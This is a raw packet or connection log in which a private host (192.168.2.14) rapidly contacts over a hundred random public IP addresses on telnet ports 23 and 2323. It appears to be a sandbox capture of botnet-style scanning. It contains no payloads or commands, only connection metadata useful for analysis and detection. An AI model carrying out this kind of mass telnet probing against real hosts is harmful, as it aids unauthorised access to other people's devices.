Nov 3, 2024 15:33:12.115781069 CET	4833	23	192.168.2.14	189.12.179.191
Nov 3, 2024 15:33:12.115781069 CET	4833	2323	192.168.2.14	120.40.24.254
Nov 3, 2024 15:33:12.115784883 CET	4833	23	192.168.2.14	32.241.134.235
Nov 3, 2024 15:33:12.115799904 CET	4833	23	192.168.2.14	113.6.242.35
Nov 3, 2024 15:33:12.115809917 CET	4833	23	192.168.2.14	203.192.190.120
Nov 3, 2024 15:33:12.115814924 CET	4833	23	192.168.2.14	95.94.119.214
Nov 3, 2024 15:33:12.115823984 CET	4833	23	192.168.2.14	69.16.210.204
Nov 3, 2024 15:33:12.115823984 CET	4833	23	192.168.2.14	34.224.210.210
Nov 3, 2024 15:33:12.115828991 CET	4833	23	192.168.2.14	171.30.128.247
Nov 3, 2024 15:33:12.115849018 CET	4833	23	192.168.2.14	160.159.255.62
Nov 3, 2024 15:33:12.115853071 CET	4833	23	192.168.2.14	9.153.126.200
Nov 3, 2024 15:33:12.115895987 CET	4833	23	192.168.2.14	138.201.14.202
Nov 3, 2024 15:33:12.115900040 CET	4833	2323	192.168.2.14	73.134.239.255
Nov 3, 2024 15:33:12.115904093 CET	4833	23	192.168.2.14	186.4.16.133
Nov 3, 2024 15:33:12.115921021 CET	4833	23	192.168.2.14	76.203.174.116
Nov 3, 2024 15:33:12.115921974 CET	4833	23	192.168.2.14	189.201.1.211
Nov 3, 2024 15:33:12.115928888 CET	4833	23	192.168.2.14	47.177.204.81
Nov 3, 2024 15:33:12.115928888 CET	4833	23	192.168.2.14	161.175.160.7
Nov 3, 2024 15:33:12.115928888 CET	4833	23	192.168.2.14	158.228.42.94
Nov 3, 2024 15:33:12.115928888 CET	4833	23	192.168.2.14	138.255.136.81
Nov 3, 2024 15:33:12.115931988 CET	4833	23	192.168.2.14	97.35.205.206
Nov 3, 2024 15:33:12.115942001 CET	4833	23	192.168.2.14	91.170.218.101
Nov 3, 2024 15:33:12.115942001 CET	4833	2323	192.168.2.14	175.116.195.134
Nov 3, 2024 15:33:12.115948915 CET	4833	23	192.168.2.14	58.133.109.185
Nov 3, 2024 15:33:12.115948915 CET	4833	23	192.168.2.14	168.56.210.206
Nov 3, 2024 15:33:12.115956068 CET	4833	23	192.168.2.14	20.70.30.136
Nov 3, 2024 15:33:12.115968943 CET	4833	23	192.168.2.14	46.209.202.65
Nov 3, 2024 15:33:12.115972042 CET	4833	23	192.168.2.14	31.4.139.100
Nov 3, 2024 15:33:12.115978003 CET	4833	23	192.168.2.14	176.211.217.48
Nov 3, 2024 15:33:12.115988016 CET	4833	23	192.168.2.14	141.203.249.137
Nov 3, 2024 15:33:12.115999937 CET	4833	23	192.168.2.14	197.48.180.223
Nov 3, 2024 15:33:12.115999937 CET	4833	23	192.168.2.14	43.236.162.116
Nov 3, 2024 15:33:12.116004944 CET	4833	2323	192.168.2.14	93.82.94.30
Nov 3, 2024 15:33:12.116012096 CET	4833	23	192.168.2.14	184.155.198.108
Nov 3, 2024 15:33:12.116013050 CET	4833	23	192.168.2.14	209.33.163.115
Nov 3, 2024 15:33:12.116017103 CET	4833	23	192.168.2.14	204.243.17.187
Nov 3, 2024 15:33:12.116025925 CET	4833	23	192.168.2.14	46.12.171.237
Nov 3, 2024 15:33:12.116029024 CET	4833	23	192.168.2.14	206.33.63.243
Nov 3, 2024 15:33:12.116036892 CET	4833	23	192.168.2.14	69.7.68.170
Nov 3, 2024 15:33:12.116045952 CET	4833	23	192.168.2.14	162.167.86.221
Nov 3, 2024 15:33:12.116045952 CET	4833	23	192.168.2.14	211.156.146.127
Nov 3, 2024 15:33:12.116056919 CET	4833	23	192.168.2.14	89.121.24.87
Nov 3, 2024 15:33:12.116063118 CET	4833	2323	192.168.2.14	201.161.121.39
Nov 3, 2024 15:33:12.116065979 CET	4833	23	192.168.2.14	84.214.74.46
Nov 3, 2024 15:33:12.116070986 CET	4833	23	192.168.2.14	101.45.143.62
Nov 3, 2024 15:33:12.116075039 CET	4833	23	192.168.2.14	8.233.203.153
Nov 3, 2024 15:33:12.116075039 CET	4833	23	192.168.2.14	147.46.92.37
Nov 3, 2024 15:33:12.116087914 CET	4833	23	192.168.2.14	146.126.29.138
Nov 3, 2024 15:33:12.116105080 CET	4833	23	192.168.2.14	187.158.220.4
Nov 3, 2024 15:33:12.116105080 CET	4833	23	192.168.2.14	172.229.162.153
Nov 3, 2024 15:33:12.116105080 CET	4833	23	192.168.2.14	170.222.221.127
Nov 3, 2024 15:33:12.116105080 CET	4833	23	192.168.2.14	17.162.106.84
Nov 3, 2024 15:33:12.116108894 CET	4833	2323	192.168.2.14	167.2.114.102
Nov 3, 2024 15:33:12.116120100 CET	4833	23	192.168.2.14	184.189.229.75
Nov 3, 2024 15:33:12.116123915 CET	4833	23	192.168.2.14	165.36.219.205
Nov 3, 2024 15:33:12.116125107 CET	4833	23	192.168.2.14	125.178.180.236
Nov 3, 2024 15:33:12.116126060 CET	4833	23	192.168.2.14	1.167.61.243
Nov 3, 2024 15:33:12.116127014 CET	4833	23	192.168.2.14	198.163.8.144
Nov 3, 2024 15:33:12.116127014 CET	4833	23	192.168.2.14	170.25.18.109
Nov 3, 2024 15:33:12.116134882 CET	4833	23	192.168.2.14	165.17.233.20
Nov 3, 2024 15:33:12.116137028 CET	4833	23	192.168.2.14	109.247.23.215
Nov 3, 2024 15:33:12.116139889 CET	4833	23	192.168.2.14	189.186.66.54
Nov 3, 2024 15:33:12.116154909 CET	4833	23	192.168.2.14	89.81.68.188
Nov 3, 2024 15:33:12.116154909 CET	4833	2323	192.168.2.14	220.166.82.8
Nov 3, 2024 15:33:12.116154909 CET	4833	23	192.168.2.14	149.173.76.53
Nov 3, 2024 15:33:12.116154909 CET	4833	23	192.168.2.14	60.212.206.98
Nov 3, 2024 15:33:12.116163015 CET	4833	23	192.168.2.14	187.83.9.146
Nov 3, 2024 15:33:12.116169930 CET	4833	23	192.168.2.14	201.182.223.63
Nov 3, 2024 15:33:12.116173983 CET	4833	23	192.168.2.14	209.104.210.241
Nov 3, 2024 15:33:12.116175890 CET	4833	23	192.168.2.14	166.90.125.116
Nov 3, 2024 15:33:12.116178989 CET	4833	23	192.168.2.14	146.51.251.135
Nov 3, 2024 15:33:12.116194963 CET	4833	23	192.168.2.14	125.241.82.175
Nov 3, 2024 15:33:12.116199017 CET	4833	2323	192.168.2.14	124.11.208.224
Nov 3, 2024 15:33:12.116199017 CET	4833	23	192.168.2.14	14.132.116.70
Nov 3, 2024 15:33:12.116203070 CET	4833	23	192.168.2.14	123.127.120.112
Nov 3, 2024 15:33:12.116209984 CET	4833	23	192.168.2.14	19.16.178.57
Nov 3, 2024 15:33:12.116209984 CET	4833	23	192.168.2.14	61.89.9.107
Nov 3, 2024 15:33:12.116210938 CET	4833	23	192.168.2.14	97.52.157.197
Nov 3, 2024 15:33:12.116210938 CET	4833	23	192.168.2.14	207.27.125.193
Nov 3, 2024 15:33:12.116220951 CET	4833	23	192.168.2.14	77.152.87.220
Nov 3, 2024 15:33:12.116223097 CET	4833	23	192.168.2.14	36.232.18.168
Nov 3, 2024 15:33:12.116224051 CET	4833	23	192.168.2.14	58.6.160.215
Nov 3, 2024 15:33:12.116235018 CET	4833	2323	192.168.2.14	187.142.153.246
Nov 3, 2024 15:33:12.116236925 CET	4833	23	192.168.2.14	81.190.47.72
Nov 3, 2024 15:33:12.116236925 CET	4833	23	192.168.2.14	143.34.219.98
Nov 3, 2024 15:33:12.116238117 CET	4833	23	192.168.2.14	171.215.91.57
Nov 3, 2024 15:33:12.116238117 CET	4833	23	192.168.2.14	118.33.180.125
Nov 3, 2024 15:33:12.116240025 CET	4833	23	192.168.2.14	175.218.14.19
Nov 3, 2024 15:33:12.116241932 CET	4833	23	192.168.2.14	135.189.42.160
Nov 3, 2024 15:33:12.116241932 CET	4833	2323	192.168.2.14	124.179.210.186
Nov 3, 2024 15:33:12.116242886 CET	4833	23	192.168.2.14	107.247.7.191
Nov 3, 2024 15:33:12.116245031 CET	4833	23	192.168.2.14	197.167.119.163
Nov 3, 2024 15:33:12.116259098 CET	4833	23	192.168.2.14	210.205.21.178
Nov 3, 2024 15:33:12.116261005 CET	4833	23	192.168.2.14	184.11.28.230
Nov 3, 2024 15:33:12.116261959 CET	4833	23	192.168.2.14	2.103.106.117
Nov 3, 2024 15:33:12.116269112 CET	4833	23	192.168.2.14	189.120.20.79
Nov 3, 2024 15:33:12.116270065 CET	4833	23	192.168.2.14	130.243.230.80
Nov 3, 2024 15:33:12.116270065 CET	4833	23	192.168.2.14	14.137.108.117
Nov 3, 2024 15:33:12.116270065 CET	4833	23	192.168.2.14	69.102.146.121
Nov 3, 2024 15:33:12.116270065 CET	4833	23	192.168.2.14	44.231.83.202
Nov 3, 2024 15:33:12.116275072 CET	4833	23	192.168.2.14	177.133.190.127
Nov 3, 2024 15:33:12.116278887 CET	4833	23	192.168.2.14	198.82.221.242
Nov 3, 2024 15:33:12.116282940 CET	4833	23	192.168.2.14	112.238.212.22
Nov 3, 2024 15:33:12.116285086 CET	4833	2323	192.168.2.14	187.76.163.163
Nov 3, 2024 15:33:12.116287947 CET	4833	23	192.168.2.14	160.121.241.10
Nov 3, 2024 15:33:12.116287947 CET	4833	23	192.168.2.14	82.60.86.98
Nov 3, 2024 15:33:12.116302967 CET	4833	23	192.168.2.14	68.222.113.249
Nov 3, 2024 15:33:12.116305113 CET	4833	23	192.168.2.14	175.213.217.169
Nov 3, 2024 15:33:12.116305113 CET	4833	23	192.168.2.14	211.119.253.19
Nov 3, 2024 15:33:12.116305113 CET	4833	23	192.168.2.14	135.124.148.113
Nov 3, 2024 15:33:12.116312027 CET	4833	23	192.168.2.14	58.197.166.188
Nov 3, 2024 15:33:12.116313934 CET	4833	23	192.168.2.14	167.217.140.199
Nov 3, 2024 15:33:12.116313934 CET	4833	2323	192.168.2.14	170.120.97.48
Nov 3, 2024 15:33:12.116313934 CET	4833	23	192.168.2.14	31.180.206.29
Nov 3, 2024 15:33:12.116322994 CET	4833	23	192.168.2.14	81.176.81.202
Nov 3, 2024 15:33:12.116322041 CET	4833	23	192.168.2.14	218.201.180.33
Nov 3, 2024 15:33:12.116327047 CET	4833	23	192.168.2.14	150.21.143.207
Nov 3, 2024 15:33:12.116328001 CET	4833	23	192.168.2.14	142.17.192.162
Nov 3, 2024 15:33:12.116327047 CET	4833	23	192.168.2.14	72.126.159.88
Nov 3, 2024 15:33:12.116328001 CET	4833	23	192.168.2.14	177.38.60.239
Nov 3, 2024 15:33:12.116333961 CET	4833	2323	192.168.2.14	211.31.238.111
Nov 3, 2024 15:33:12.116357088 CET	4833	23	192.168.2.14	12.130.175.210
Nov 3, 2024 15:33:12.116359949 CET	4833	23	192.168.2.14	153.189.149.2
Nov 3, 2024 15:33:12.116362095 CET	4833	23	192.168.2.14	1.245.96.204
Nov 3, 2024 15:33:12.116364002 CET	4833	23	192.168.2.14	195.48.116.48
Nov 3, 2024 15:33:12.116364002 CET	4833	23	192.168.2.14	206.26.123.175
Nov 3, 2024 15:33:12.116364002 CET	4833	23	192.168.2.14	47.187.187.48
Nov 3, 2024 15:33:12.116380930 CET	4833	23	192.168.2.14	14.9.231.217
Nov 3, 2024 15:33:12.116381884 CET	4833	23	192.168.2.14	71.66.42.11
Nov 3, 2024 15:33:12.116380930 CET	4833	23	192.168.2.14	141.50.177.65
Nov 3, 2024 15:33:12.116383076 CET	4833	23	192.168.2.14	13.11.29.187
Nov 3, 2024 15:33:12.116384029 CET	4833	23	192.168.2.14	123.18.50.92
Nov 3, 2024 15:33:12.116384983 CET	4833	2323	192.168.2.14	197.61.163.223
Nov 3, 2024 15:33:12.116384983 CET	4833	23	192.168.2.14	48.117.25.142
Nov 3, 2024 15:33:12.116385937 CET	4833	2323	192.168.2.14	125.32.199.88
Nov 3, 2024 15:33:12.116410971 CET	4833	23	192.168.2.14	44.206.82.102
Nov 3, 2024 15:33:12.116410971 CET	4833	23	192.168.2.14	83.94.238.49
Nov 3, 2024 15:33:12.116411924 CET	4833	23	192.168.2.14	105.124.30.166
Nov 3, 2024 15:33:12.116414070 CET	4833	23	192.168.2.14	87.79.97.253
Nov 3, 2024 15:33:12.116414070 CET	4833	23	192.168.2.14	106.17.171.31
Nov 3, 2024 15:33:12.116414070 CET	4833	23	192.168.2.14	98.66.13.65
Nov 3, 2024 15:33:12.116416931 CET	4833	23	192.168.2.14	199.2.46.94
Nov 3, 2024 15:33:12.116417885 CET	4833	23	192.168.2.14	125.194.138.120
Nov 3, 2024 15:33:12.116419077 CET	4833	23	192.168.2.14	223.72.231.34
Nov 3, 2024 15:33:12.116420031 CET	4833	23	192.168.2.14	189.72.60.209
Nov 3, 2024 15:33:12.116420031 CET	4833	23	192.168.2.14	186.163.224.107
Nov 3, 2024 15:33:12.116420031 CET	4833	23	192.168.2.14	168.134.131.55
Nov 3, 2024 15:33:12.116422892 CET	4833	23	192.168.2.14	141.69.189.176
Nov 3, 2024 15:33:12.116420031 CET	4833	23	192.168.2.14	36.172.26.118
Nov 3, 2024 15:33:12.116427898 CET	4833	23	192.168.2.14	203.164.127.131
Nov 3, 2024 15:33:12.116430044 CET	4833	23	192.168.2.14	199.41.18.174
Nov 3, 2024 15:33:12.116430044 CET	4833	23	192.168.2.14	201.127.178.94
Nov 3, 2024 15:33:12.120619059 CET	2323	4833	154.172.138.17	192.168.2.14
Nov 3, 2024 15:33:12.120671034 CET	23	4833	19.109.85.78	192.168.2.14
Nov 3, 2024 15:33:12.120675087 CET	4833	2323	192.168.2.14	154.172.138.17
Nov 3, 2024 15:33:12.120681047 CET	23	4833	180.18.157.120	192.168.2.14
Nov 3, 2024 15:33:12.120691061 CET	23	4833	17.125.39.104	192.168.2.14
Nov 3, 2024 15:33:12.120701075 CET	23	4833	87.49.91.175	192.168.2.14
Nov 3, 2024 15:33:12.120709896 CET	23	4833	207.204.166.223	192.168.2.14
Nov 3, 2024 15:33:12.120719910 CET	23	4833	191.212.132.241	192.168.2.14
Nov 3, 2024 15:33:12.120719910 CET	4833	23	192.168.2.14	19.109.85.78
Nov 3, 2024 15:33:12.120724916 CET	4833	23	192.168.2.14	17.125.39.104
Nov 3, 2024 15:33:12.120728016 CET	4833	23	192.168.2.14	180.18.157.120
Nov 3, 2024 15:33:12.120729923 CET	4833	23	192.168.2.14	87.49.91.175
Nov 3, 2024 15:33:12.120737076 CET	4833	23	192.168.2.14	207.204.166.223
Nov 3, 2024 15:33:12.120738983 CET	23	4833	73.181.0.189	192.168.2.14
Nov 3, 2024 15:33:12.120753050 CET	23	4833	32.241.134.235	192.168.2.14
Nov 3, 2024 15:33:12.120754004 CET	4833	23	192.168.2.14	191.212.132.241
Nov 3, 2024 15:33:12.120760918 CET	23	4833	189.12.179.191	192.168.2.14
Nov 3, 2024 15:33:12.120770931 CET	4833	23	192.168.2.14	73.181.0.189
Nov 3, 2024 15:33:12.120790005 CET	4833	23	192.168.2.14	32.241.134.235
Nov 3, 2024 15:33:12.120793104 CET	4833	23	192.168.2.14	189.12.179.191
Nov 3, 2024 15:33:12.121005058 CET	23	43366	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:12.121016026 CET	2323	4833	120.40.24.254	192.168.2.14
Nov 3, 2024 15:33:12.121026039 CET	23	4833	203.192.190.120	192.168.2.14
Nov 3, 2024 15:33:12.121035099 CET	23	4833	95.94.119.214	192.168.2.14
Nov 3, 2024 15:33:12.121042967 CET	23	4833	113.6.242.35	192.168.2.14
Nov 3, 2024 15:33:12.121052027 CET	23	4833	69.16.210.204	192.168.2.14
Nov 3, 2024 15:33:12.121052980 CET	4833	2323	192.168.2.14	120.40.24.254
Nov 3, 2024 15:33:12.121057987 CET	4833	23	192.168.2.14	203.192.190.120
Nov 3, 2024 15:33:12.121061087 CET	23	4833	34.224.210.210	192.168.2.14
Nov 3, 2024 15:33:12.121062040 CET	4833	23	192.168.2.14	95.94.119.214
Nov 3, 2024 15:33:12.121069908 CET	23	4833	171.30.128.247	192.168.2.14
Nov 3, 2024 15:33:12.121081114 CET	4833	23	192.168.2.14	69.16.210.204
Nov 3, 2024 15:33:12.121081114 CET	4833	23	192.168.2.14	113.6.242.35
Nov 3, 2024 15:33:12.121081114 CET	23	4833	160.159.255.62	192.168.2.14
Nov 3, 2024 15:33:12.121092081 CET	23	4833	9.153.126.200	192.168.2.14
Nov 3, 2024 15:33:12.121097088 CET	4833	23	192.168.2.14	34.224.210.210
Nov 3, 2024 15:33:12.121102095 CET	4833	23	192.168.2.14	171.30.128.247
Nov 3, 2024 15:33:12.121114016 CET	4833	23	192.168.2.14	160.159.255.62
Nov 3, 2024 15:33:12.121128082 CET	4833	23	192.168.2.14	9.153.126.200
Nov 3, 2024 15:33:12.121133089 CET	23	4833	138.201.14.202	192.168.2.14
Nov 3, 2024 15:33:12.121134996 CET	43366	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:12.121143103 CET	2323	4833	73.134.239.255	192.168.2.14
Nov 3, 2024 15:33:12.121151924 CET	23	4833	186.4.16.133	192.168.2.14
Nov 3, 2024 15:33:12.121161938 CET	23	4833	76.203.174.116	192.168.2.14
Nov 3, 2024 15:33:12.121165991 CET	4833	23	192.168.2.14	138.201.14.202
Nov 3, 2024 15:33:12.121170044 CET	4833	2323	192.168.2.14	73.134.239.255
Nov 3, 2024 15:33:12.121172905 CET	23	4833	189.201.1.211	192.168.2.14
Nov 3, 2024 15:33:12.121182919 CET	23	4833	97.35.205.206	192.168.2.14
Nov 3, 2024 15:33:12.121186018 CET	4833	23	192.168.2.14	186.4.16.133
Nov 3, 2024 15:33:12.121192932 CET	23	4833	161.175.160.7	192.168.2.14
Nov 3, 2024 15:33:12.121201038 CET	4833	23	192.168.2.14	76.203.174.116
Nov 3, 2024 15:33:12.121202946 CET	23	4833	47.177.204.81	192.168.2.14
Nov 3, 2024 15:33:12.121206999 CET	4833	23	192.168.2.14	189.201.1.211
Nov 3, 2024 15:33:12.121212959 CET	23	4833	91.170.218.101	192.168.2.14
Nov 3, 2024 15:33:12.121222973 CET	2323	4833	175.116.195.134	192.168.2.14
Nov 3, 2024 15:33:12.121232033 CET	4833	23	192.168.2.14	97.35.205.206
Nov 3, 2024 15:33:12.121234894 CET	4833	23	192.168.2.14	161.175.160.7
Nov 3, 2024 15:33:12.121237993 CET	4833	23	192.168.2.14	47.177.204.81
Nov 3, 2024 15:33:12.121239901 CET	23	4833	158.228.42.94	192.168.2.14
Nov 3, 2024 15:33:12.121249914 CET	23	4833	138.255.136.81	192.168.2.14
Nov 3, 2024 15:33:12.121253967 CET	4833	23	192.168.2.14	91.170.218.101
Nov 3, 2024 15:33:12.121253967 CET	4833	2323	192.168.2.14	175.116.195.134
Nov 3, 2024 15:33:12.121277094 CET	4833	23	192.168.2.14	158.228.42.94
Nov 3, 2024 15:33:12.121277094 CET	4833	23	192.168.2.14	138.255.136.81
Nov 3, 2024 15:33:12.121432066 CET	23	4833	58.133.109.185	192.168.2.14
Nov 3, 2024 15:33:12.121442080 CET	23	4833	168.56.210.206	192.168.2.14
Nov 3, 2024 15:33:12.121449947 CET	23	4833	20.70.30.136	192.168.2.14
Nov 3, 2024 15:33:12.121460915 CET	23	4833	46.209.202.65	192.168.2.14
Nov 3, 2024 15:33:12.121468067 CET	4833	23	192.168.2.14	58.133.109.185
Nov 3, 2024 15:33:12.121468067 CET	4833	23	192.168.2.14	168.56.210.206
Nov 3, 2024 15:33:12.121470928 CET	23	4833	31.4.139.100	192.168.2.14
Nov 3, 2024 15:33:12.121479988 CET	23	4833	176.211.217.48	192.168.2.14
Nov 3, 2024 15:33:12.121488094 CET	4833	23	192.168.2.14	20.70.30.136
Nov 3, 2024 15:33:12.121488094 CET	43368	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:12.121490002 CET	23	4833	141.203.249.137	192.168.2.14
Nov 3, 2024 15:33:12.121496916 CET	4833	23	192.168.2.14	46.209.202.65
Nov 3, 2024 15:33:12.121500015 CET	23	4833	197.48.180.223	192.168.2.14
Nov 3, 2024 15:33:12.121503115 CET	4833	23	192.168.2.14	176.211.217.48
Nov 3, 2024 15:33:12.121505022 CET	4833	23	192.168.2.14	31.4.139.100
Nov 3, 2024 15:33:12.121510029 CET	23	4833	43.236.162.116	192.168.2.14
Nov 3, 2024 15:33:12.121519089 CET	2323	4833	93.82.94.30	192.168.2.14
Nov 3, 2024 15:33:12.121526003 CET	4833	23	192.168.2.14	141.203.249.137
Nov 3, 2024 15:33:12.121529102 CET	23	4833	184.155.198.108	192.168.2.14
Nov 3, 2024 15:33:12.121536970 CET	4833	23	192.168.2.14	197.48.180.223
Nov 3, 2024 15:33:12.121539116 CET	23	4833	209.33.163.115	192.168.2.14
Nov 3, 2024 15:33:12.121545076 CET	4833	23	192.168.2.14	43.236.162.116
Nov 3, 2024 15:33:12.121548891 CET	23	4833	204.243.17.187	192.168.2.14
Nov 3, 2024 15:33:12.121551037 CET	4833	2323	192.168.2.14	93.82.94.30
Nov 3, 2024 15:33:12.121558905 CET	4833	23	192.168.2.14	184.155.198.108
Nov 3, 2024 15:33:12.121565104 CET	4833	23	192.168.2.14	209.33.163.115
Nov 3, 2024 15:33:12.121568918 CET	23	4833	206.33.63.243	192.168.2.14
Nov 3, 2024 15:33:12.121578932 CET	23	4833	46.12.171.237	192.168.2.14
Nov 3, 2024 15:33:12.121586084 CET	4833	23	192.168.2.14	204.243.17.187
Nov 3, 2024 15:33:12.121588945 CET	23	4833	69.7.68.170	192.168.2.14
Nov 3, 2024 15:33:12.121598959 CET	4833	23	192.168.2.14	206.33.63.243
Nov 3, 2024 15:33:12.121602058 CET	23	4833	162.167.86.221	192.168.2.14
Nov 3, 2024 15:33:12.121607065 CET	4833	23	192.168.2.14	46.12.171.237
Nov 3, 2024 15:33:12.121612072 CET	23	4833	89.121.24.87	192.168.2.14
Nov 3, 2024 15:33:12.121622086 CET	2323	4833	201.161.121.39	192.168.2.14
Nov 3, 2024 15:33:12.121629000 CET	4833	23	192.168.2.14	69.7.68.170
Nov 3, 2024 15:33:12.121630907 CET	23	4833	84.214.74.46	192.168.2.14
Nov 3, 2024 15:33:12.121634960 CET	4833	23	192.168.2.14	162.167.86.221
Nov 3, 2024 15:33:12.121634960 CET	23	4833	101.45.143.62	192.168.2.14
Nov 3, 2024 15:33:12.121639967 CET	4833	23	192.168.2.14	89.121.24.87
Nov 3, 2024 15:33:12.121640921 CET	23	4833	211.156.146.127	192.168.2.14
Nov 3, 2024 15:33:12.121649981 CET	23	4833	8.233.203.153	192.168.2.14
Nov 3, 2024 15:33:12.121669054 CET	23	4833	147.46.92.37	192.168.2.14
Nov 3, 2024 15:33:12.121670008 CET	4833	2323	192.168.2.14	201.161.121.39
Nov 3, 2024 15:33:12.121679068 CET	23	4833	146.126.29.138	192.168.2.14
Nov 3, 2024 15:33:12.121680021 CET	4833	23	192.168.2.14	101.45.143.62
Nov 3, 2024 15:33:12.121680975 CET	4833	23	192.168.2.14	84.214.74.46
Nov 3, 2024 15:33:12.121681929 CET	4833	23	192.168.2.14	211.156.146.127
Nov 3, 2024 15:33:12.121687889 CET	23	4833	187.158.220.4	192.168.2.14
Nov 3, 2024 15:33:12.121700048 CET	23	4833	170.222.221.127	192.168.2.14
Nov 3, 2024 15:33:12.121701002 CET	4833	23	192.168.2.14	8.233.203.153
Nov 3, 2024 15:33:12.121701002 CET	4833	23	192.168.2.14	147.46.92.37
Nov 3, 2024 15:33:12.121701002 CET	4833	23	192.168.2.14	146.126.29.138
Nov 3, 2024 15:33:12.121716976 CET	23	4833	17.162.106.84	192.168.2.14
Nov 3, 2024 15:33:12.121730089 CET	4833	23	192.168.2.14	187.158.220.4
Nov 3, 2024 15:33:12.121732950 CET	4833	23	192.168.2.14	170.222.221.127
Nov 3, 2024 15:33:12.121733904 CET	23	4833	172.229.162.153	192.168.2.14
Nov 3, 2024 15:33:12.121742010 CET	2323	4833	167.2.114.102	192.168.2.14
Nov 3, 2024 15:33:12.121751070 CET	4833	23	192.168.2.14	17.162.106.84
Nov 3, 2024 15:33:12.121752024 CET	23	4833	184.189.229.75	192.168.2.14
Nov 3, 2024 15:33:12.121761084 CET	23	4833	165.36.219.205	192.168.2.14
Nov 3, 2024 15:33:12.121763945 CET	4833	23	192.168.2.14	172.229.162.153
Nov 3, 2024 15:33:12.121769905 CET	23	4833	125.178.180.236	192.168.2.14
Nov 3, 2024 15:33:12.121778965 CET	4833	2323	192.168.2.14	167.2.114.102
Nov 3, 2024 15:33:12.121778965 CET	4833	23	192.168.2.14	184.189.229.75
Nov 3, 2024 15:33:12.121779919 CET	23	4833	1.167.61.243	192.168.2.14
Nov 3, 2024 15:33:12.121790886 CET	23	4833	165.17.233.20	192.168.2.14
Nov 3, 2024 15:33:12.121792078 CET	4833	23	192.168.2.14	165.36.219.205
Nov 3, 2024 15:33:12.121795893 CET	23	4833	198.163.8.144	192.168.2.14
Nov 3, 2024 15:33:12.121804953 CET	23	4833	170.25.18.109	192.168.2.14
Nov 3, 2024 15:33:12.121814013 CET	4833	23	192.168.2.14	125.178.180.236
Nov 3, 2024 15:33:12.121819019 CET	4833	23	192.168.2.14	165.17.233.20
Nov 3, 2024 15:33:12.121819019 CET	4833	23	192.168.2.14	1.167.61.243
Nov 3, 2024 15:33:12.121829987 CET	4833	23	192.168.2.14	198.163.8.144
Nov 3, 2024 15:33:12.121829987 CET	4833	23	192.168.2.14	170.25.18.109
Nov 3, 2024 15:33:12.126159906 CET	23	43366	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:12.126663923 CET	23	43368	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:12.126705885 CET	43368	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:12.188749075 CET	54266	23	192.168.2.14	113.219.219.181
Nov 3, 2024 15:33:12.188749075 CET	42632	23	192.168.2.14	205.186.130.163
Nov 3, 2024 15:33:12.188766956 CET	41414	23	192.168.2.14	153.59.235.162
Nov 3, 2024 15:33:12.188766956 CET	38510	23	192.168.2.14	222.182.50.241
Nov 3, 2024 15:33:12.188771963 CET	42106	23	192.168.2.14	63.104.212.7
Nov 3, 2024 15:33:12.188776970 CET	49076	23	192.168.2.14	77.209.216.96
Nov 3, 2024 15:33:12.188776970 CET	57328	2323	192.168.2.14	73.112.49.94
Nov 3, 2024 15:33:12.188776970 CET	51118	23	192.168.2.14	98.193.235.40
Nov 3, 2024 15:33:12.188785076 CET	38182	23	192.168.2.14	136.149.88.103
Nov 3, 2024 15:33:12.188786983 CET	33594	23	192.168.2.14	163.162.104.40
Nov 3, 2024 15:33:12.188792944 CET	37040	23	192.168.2.14	68.152.187.162
Nov 3, 2024 15:33:12.188792944 CET	41986	23	192.168.2.14	86.73.189.68
Nov 3, 2024 15:33:12.188792944 CET	58138	23	192.168.2.14	110.213.57.104
Nov 3, 2024 15:33:12.193636894 CET	23	54266	113.219.219.181	192.168.2.14
Nov 3, 2024 15:33:12.193646908 CET	23	42632	205.186.130.163	192.168.2.14
Nov 3, 2024 15:33:12.193655014 CET	23	41414	153.59.235.162	192.168.2.14
Nov 3, 2024 15:33:12.193665028 CET	23	38510	222.182.50.241	192.168.2.14
Nov 3, 2024 15:33:12.193672895 CET	23	42106	63.104.212.7	192.168.2.14
Nov 3, 2024 15:33:12.193681955 CET	23	49076	77.209.216.96	192.168.2.14
Nov 3, 2024 15:33:12.193696976 CET	54266	23	192.168.2.14	113.219.219.181
Nov 3, 2024 15:33:12.193708897 CET	42632	23	192.168.2.14	205.186.130.163
Nov 3, 2024 15:33:12.193715096 CET	41414	23	192.168.2.14	153.59.235.162
Nov 3, 2024 15:33:12.193726063 CET	38510	23	192.168.2.14	222.182.50.241
Nov 3, 2024 15:33:12.193731070 CET	49076	23	192.168.2.14	77.209.216.96
Nov 3, 2024 15:33:12.193733931 CET	42106	23	192.168.2.14	63.104.212.7
Nov 3, 2024 15:33:12.199770927 CET	23	54266	113.219.219.181	192.168.2.14
Nov 3, 2024 15:33:12.199846983 CET	54266	23	192.168.2.14	113.219.219.181
Nov 3, 2024 15:33:12.199980021 CET	23	42632	205.186.130.163	192.168.2.14
Nov 3, 2024 15:33:12.199990034 CET	23	41414	153.59.235.162	192.168.2.14
Nov 3, 2024 15:33:12.200114012 CET	23	38510	222.182.50.241	192.168.2.14
Nov 3, 2024 15:33:12.200203896 CET	54428	23	192.168.2.14	113.219.219.181
Nov 3, 2024 15:33:12.200225115 CET	23	49076	77.209.216.96	192.168.2.14
Nov 3, 2024 15:33:12.200234890 CET	23	42106	63.104.212.7	192.168.2.14
Nov 3, 2024 15:33:12.200598955 CET	49076	23	192.168.2.14	77.209.216.96
Nov 3, 2024 15:33:12.200721025 CET	42106	23	192.168.2.14	63.104.212.7
Nov 3, 2024 15:33:12.200726032 CET	38510	23	192.168.2.14	222.182.50.241
Nov 3, 2024 15:33:12.200731039 CET	41414	23	192.168.2.14	153.59.235.162
Nov 3, 2024 15:33:12.200731039 CET	42632	23	192.168.2.14	205.186.130.163
Nov 3, 2024 15:33:12.200913906 CET	49250	23	192.168.2.14	77.209.216.96
Nov 3, 2024 15:33:12.201297045 CET	41414	23	192.168.2.14	153.59.235.162
Nov 3, 2024 15:33:12.201591015 CET	41588	23	192.168.2.14	153.59.235.162
Nov 3, 2024 15:33:12.201966047 CET	42106	23	192.168.2.14	63.104.212.7
Nov 3, 2024 15:33:12.202256918 CET	42280	23	192.168.2.14	63.104.212.7
Nov 3, 2024 15:33:12.202660084 CET	38510	23	192.168.2.14	222.182.50.241
Nov 3, 2024 15:33:12.202944040 CET	38684	23	192.168.2.14	222.182.50.241
Nov 3, 2024 15:33:12.203339100 CET	42632	23	192.168.2.14	205.186.130.163
